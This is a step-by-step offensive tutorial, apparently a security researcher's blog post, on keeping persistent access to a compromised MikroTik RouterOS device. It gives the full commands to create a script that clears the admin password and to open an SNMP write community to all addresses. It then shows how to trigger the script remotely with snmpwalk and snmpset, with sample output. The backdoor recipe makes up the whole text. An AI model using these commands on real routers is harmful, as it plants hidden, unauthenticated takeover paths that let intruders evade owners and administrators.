Implementing a Password Reset Function for Persistent Access in MikroTik RouterOS

This tutorial demonstrates a post-exploitation technique to establish persistent access in MikroTik RouterOS by implementing a password reset function triggered via SNMP. We will create a MikroTik script named "password reset" to clear the admin password, enable SNMP write access using the community string "opensesame," and confirm the SNMP service is operational. The process concludes with using snmpwalk to query available scripts and snmpset to execute the password reset script remotely via SNMP, ensuring continued access post-authentication.

Step 1: Create the Password Reset Script

1. Access the MikroTik CLI:

   • You can access the MikroTik CLI via SSH, Telnet, or the Winbox terminal. For SSH, use a terminal application like PuTTY or the built-in terminal on your operating system.

   • Connect to your MikroTik router using its IP address and login credentials.

   ssh admin@<router_ip_address>

2. Create the Script:

   • Use the following command to create a new script named "password reset" that changes the password of the "admin" user to an empty password.

   • (Fixed error in original posting by author, add dont-require-permissions=yes

   /system script add name="password reset" source="/user set admin password=\"\"" dont-require-permissions=yes

3. Verify the Script:

   • Verify that the script has been created correctly by listing all scripts.

   /system script print

   Output:

   [admin@MikroTik] > /system script add name="password reset" source="/user set admin password=\"\""
   [admin@MikroTik] > /system script print
   Flags: I - invalid
    0   name="password reset" owner="admin" policy=ftp,reboot,read,write,policy,test,password,sniff,sensitive,romon
        dont-require-permissions=no run-count=0 source=/user set admin password=""

Step 2: Enable SNMP Write Access

1. Enable SNMP:

   • Enable the SNMP service on the router.

   /snmp set enabled=yes

2. Configure SNMP Community:

   • Add an SNMP community "opensesame" with write access.

   /snmp community add name=opensesame addresses=0.0.0.0/0 write-access=yes

3. Verify SNMP Configuration:

   • Verify that the SNMP service and community have been configured correctly.

   /snmp print
   /snmp community print

   Output:

   [admin@MikroTik] > /snmp print
            enabled: yes
            contact:
           location:
          engine-id:
        trap-target:
     trap-community: public
       trap-version: 1
     trap-generators: temp-exception
   [admin@MikroTik] > /snmp community print
   Flags: * - default, X - disabled
    #    NAME                ADDRESSES                                                 SECURITY   READ-ACCESS WRITE-ACCESS
    0 *  public              ::/0                                                      none       yes         no
    1    opensesame          0.0.0.0/0                                                 none       yes         yes

Step 3: Query Scripts Using SNMP

1. Install SNMP Tools:

   • Ensure that you have SNMP tools installed on your system. On Debian-based systems, you can install them using:

   sudo apt-get install snmp

2. Use snmpwalk to Query Scripts:

   • Use the snmpwalk command to query the OID 1.3.6.1.4.1.14988.1.1.8 to list the scripts.

   snmpwalk -v 2c -c opensesame <router_ip_address> 1.3.6.1.4.1.14988.1.1.8

   • This command will list the scripts available on the MikroTik router. Note that the MIB table OID values may differ.

   Output:

   SNMPv2-SMI::enterprises.14988.1.1.8.1.1.2.1 = STRING: "password reset"
   SNMPv2-SMI::enterprises.14988.1.1.8.1.1.3.1 = INTEGER: 0

Step 4: Run the Script Using SNMP

1. Use snmpset to Run the Script:

   • Use the snmpset command to run the "password reset" script. Replace <router_ip_address> with the IP address of your MikroTik router. Ensure you are using the correct MIB table values for your script, from the snmpwalk command above.

   snmpset -c opensesame -v2c <router_ip_address> 1.3.6.1.4.1.14988.1.1.8.1.1.3.1 i 1

   Output:

   SNMPv2-SMI::enterprises.14988.1.1.8.1.1.3.1 = INTEGER: 1

   • This command will execute the "password reset" script, setting the admin password to an empty string. You can now authenticate to the router with ssh admin@router_ip_address.

Summary

This tutorial outlines adding a password reset function to MikroTik RouterOS as a post-exploitation technique for maintaining persistent access after authentication. It involves creating a "password reset" script to clear the admin password, enabling SNMP write access with the "opensesame" community string, verifying SNMP functionality, querying scripts with snmpwalk, and executing the script via snmpset. Administrative access to the router and basic networking knowledge are required.

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Author: Hacker Fantastic Date: April 17, 2025 Website: https://hacker.house